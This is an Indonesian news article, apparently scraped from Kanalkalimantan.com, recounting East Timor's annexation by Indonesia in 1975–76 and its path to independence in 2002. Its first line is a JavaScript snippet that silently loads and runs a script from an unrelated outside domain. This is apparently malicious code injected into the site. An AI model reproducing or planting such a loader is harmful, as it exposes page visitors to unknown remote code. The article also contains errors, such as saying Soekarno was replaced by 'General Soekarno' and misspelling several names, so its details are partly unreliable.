(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Tanggal 17 Juli menjadi peringatan Hari Integrasi Timor Timur. Integrasi merupakan bergabungnya Timor Timur pada masa Orde Baru dengan proses sangat panjang. Sebab, Timor Timur yang teramasuk gugusan pulau Timor awalnya dikuasai oleh Portugal. Bagaimana bisa Timor Timur masuk dalam provinsi di Indonesia?.
Helene van Klinken dalam buku Anak-Anak Tim-Tim di Indonesia: Sebuah Cermin Masa Kelam (2014), menjelaskan:
Setelah Proklamasi Kemerdekaan Indonesia pada 17 Agustus 1945 dan perjuangan untuk membebaskan diri dari penjajah Belanda dan bermakna bagi penolakan kolonialisme seluruh dunia. Namun, dalam waktu 30 tahun, Indonesia telah memulai proyek ‘menjajah’ negara tetangganya Timor Portugis.
Pada pertengahan tahun 1960-an, Presiden Pertama Indonesia, Soekarno memimpin bangsa yang sedang di tepi jurang kehancuran ekonomi dan kekacauan politik. Ketegangan-ketegangan akhirnya meledak antara militer dan Partai Komunis Indonesia (PKI) yang menewaskan banyak penduduk Indonesia. Pada tahun selanjutnya, rezim Orde Baru merebut kekuasaan Soekarno dan diganti oleh Jenderal Soekarno. Penguasa Orde Baru mengambil sikap anti komunis dan pro barat yang fokus pada pembangunan.
Sebelum 1975 Indonesia memperlihatkan sedikit perhatian pada Timor Portugis, yang terletak di bagian timur kepulauan Indonesia atau 500 kilometer di sebelah utara Australia. Portugis tiba di sana pada tahun 1520 dan bersaing dengan Belanda untuk menguasai pulau itu sampai tahun 1912, ketika Belanda dan Portugis bersepakat mengenai pembagian pulau ini. Setengah bagian barat menjadi bagian Hindia Belanda dan kemudian Indonesia merdeka dan setengah bagian timur, bersama dengan kantong kecil Oecussi di bagian barat, menjadi tanah jajahan Portugis.
Setelah Perang Dunia Kedua, ketika kebanyakan negara Eropa memberikan kemerdekaan kepada tanah-tanah jajahan mereka, kediktatoran otoriter di Portugal menolak memulai proses itu. Pada tahun 1960 Perserikatan Bangsa-Bangsa memasukkan Timor Portugis dalam daftar wilayah tanpa pemerintahan sendiri yang belum mendapatkan hak menentukan nasib sendiri. Ketika para pemimpin Indonesia mempersiapkan kemerdekaan Indonesia pada tahun 1945, banyak yang berpendapat bahwa Timor Portugis seharusnya bergabung dalam “Indonesia Raya”. Tetapi Proklamasi Kemerdekaan Indonesia hanya meliputi wilayah yang sebelumnya dikuasai Belanda.
Indonesia menjadi khawatir mengenai Timor Portugis yang berkemungkinan memerdekakan wilayah ini secara tiba-tiba. Satu revolusi tanpa kekerasan di Portugal pada 25 April 1974 akhirnya membawa imperium kolonial Portugis pada akhir riwayatnya. Kediktatoran Salazar/Caetano digulingkan oleh gerakan kiri radikal dipimpin oleh perwira-perwira menengah. Dua tahun selanjutnya Portugal ditandai dengan ketidakstabilan politik, dengan pertarungan kuasa yang rumit antar-berbagai kelompok, yang sebagian lebih kiri radikal daripada yang lain. Akhirnya kekuatan demokrasi menang pada 25 November 1975. Pada April 1974 pemerintah baru segera memulai satu proses dekolonisasi di koloni-koloninya, termasuk di Pulau Timor.
Timor Portugis kurang siap merdeka dibandingkan tanah-tanah jajahan Portugis di Afrika dan hanya mendapatkan bantuan yang sedikit dari Portugal. Partai-partai politik dibentuk mulai bulan Mei 1974, dan mereka mulai berbicara mengenai masa depan, termasuk mengadakan pernbicaraan dengan Indonesia. Pada bulan Agustus pecah pertikaian antara partai-partai politik dan setelah beberapa minggu partai FRETILIN, yang condong ke kiri, memegang kendali dan menyingkirkan saingan-saingannya. Banyak di antara yang dikalahkan lari menyeberangi perbatasan mencari keselamatan di Timor Barat Indonesia.
Ketika pertemuan berlangsung, pemerintah Portugis dipindahkan ke Atauto, sebuah pulau kecil yang berjarak 30 km di lepas pantai sebelah utara kota Dili. Karena ketidakstabilan politik di Portugal, pemerintah Portugis tidak mempu melaksanakan kewajiban dekolonisasi di Timor dan tidak pernah kembali untuk mengambil kendali.
Kekhawatiran utama Indonesia adalah kemungkinan adanya negara komunis atau negara yang tidak bersimpati yang dipimpin oleh FRETILIN di seberang perbatasannya. Oleh karena itu, kemerdekaan wilayah ini dinilai sebagai ancaman bagi keamanan nasional Indonesia. Retorika publik dari Orde Baru menegaskan bahwa Indonesia menghormati hak rakyat Timor Portugis atas penentuan nasib sendiri dan Indonesia tidak punya ambisi teritorial. Tetapi pada pertengahan 1974 penguasa Order Baru mulai merencanakan memasukkan Timor Portugis ke dalam Indonesia. Letnan Jenderal Ali Moertopo, asisten pribadi dan orang kepercayaan Presiden Soeharto melaksanakan satu operasi intelijen rahasia untuk memanipulasi mencapai integrasi secara damai dengan Indonesia. Jika ini gagal rencananya adalah menciptakan satu keadaan di mana Indonesia “diundang” oleh sebagian penduduk untuk masuk dan “memulihkan stabilitas”.
Tetapi sejak awal 1975 faksi-faksi yang kuat di dalam militer Indonesia memutuskan untuk memaksakan integrasi Timor Portugis. Meskipun demikian sejumlah perwira senior, seperti Kolonel Aloysius Sugiyanto, yang bekerja di bidang intelijen bersama Ali Moertopo pada 1974/1975, dan Letnan Jenderal Hasnan Habib tidak sepakat dengan intervensi militer. Mayor Jenderal Benny Moerdani yang memegang beberapa kedudukan penting dalam badan-badan intelijen utama adalah penggerak utama kekuatan militer.
Ketika FRETILIN memegang kendali di Timor Portugis pada bulan September 1975, militer Indonesia segera memulai penyusupan rahasia masuk wilayah ini. Dengan proklamasi kemerdekaan FRETILIN pada 28 November 1975, militer yang mengkhawatirkan pertanyaan ini bisa mendapatkan pengakuan internasional. Menjalani operasi militer gabungan yang terdiri dari kekuatan darat, laut, dan, udara pada 7 Desember 1975.
Pada 17 Juli 1976 Timor Portugis secara resmi dimasukkan sebagai provinsi ke-27 Indonesia dengan nama Timor Timur.
Mayoritas rakyat Timor Timur tidak menerima integrasi. PBB pun juga tidak mengakui integrasi. Awalnya, resolusi setiap tahun dikeluarkan oleh Majelis Umum PBB mengecam keras tindakan Indonesia di Timor Timur. Tetapi perlahan-lahan kecaman melemah sampai ketika masalah ini dikeluarkan dari agenda Majelis Umum pada tahun 1983 dan dijajaki saluran-saluran diplomatik lain. Di bawah kepemimpinan FRETILIN, orang Timor Timur melawan pendudukan Indonesia dengan perjuangan bersenjata sampai mereka dikalahkan.
Pemimpin FRETILIN Nicolau Lobato terbunuh pada 31 Desember 1978 dan pada 26 Maret 1979 Indonesia menyatakan bahwa Timor Timur sudah aman. Kebanyakan orang Timor Timur yang terdiri dari sekitar 100.000 sampai 180.000 jiwa mati selama pendudukan pada masa antara tahun 1975 dan 1979 karena kelaparan dan penyakit. Sesudahnya, pejuang-pejuan Timor Timur yang tersisi direogreasi di bawah pimpinan Xanana Gusmao. Mereka melawan integrasi dengan perang geriliya dan gerakan bawah tanah di kalangan penduduk sipil. Selama tahun 1990-an, dukungan untuk kemerdekaan di kalangan generasi muda di Timur Timur. Perjuangan mereka mendapatkan dukungan internasional dan aktivis-aktivis di Indoesia, terutama setelah pemberitaan media mengenai pembantaian di kubutan Santa Cruz, Dili pada tanggal 12 November 1991.
Ketika Presiden Soeharto dipaksa untuk mundur pada 21 Mei 1998, banyak perubahan demokratis terjadi di Indonesia. Presiden baru Indonesia. BJ Habibie menawarkan penyelenggaraan pemungutan suara di Timor Timur yang dilaksanakan oleh PBB pada 30 Agustus 1999. Mayoritas besar rakyat menolak pilihan otonomi khusus yang ditawarkan oleh pemerintah Indonesia. Pada bulan Oktober 1999, MPR RI mengakhiri proyek Orde Baru di Timor Timur dengan mencabut Undang-Undang tahun 1976 yang mengesahkan integrasi. Pada 20 Mei 2002, setelah satu kurun waktu pemerintahan peralihan PBB, wilayah ini menjadi negara merdeka Timor Leste. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
This website uses cookies.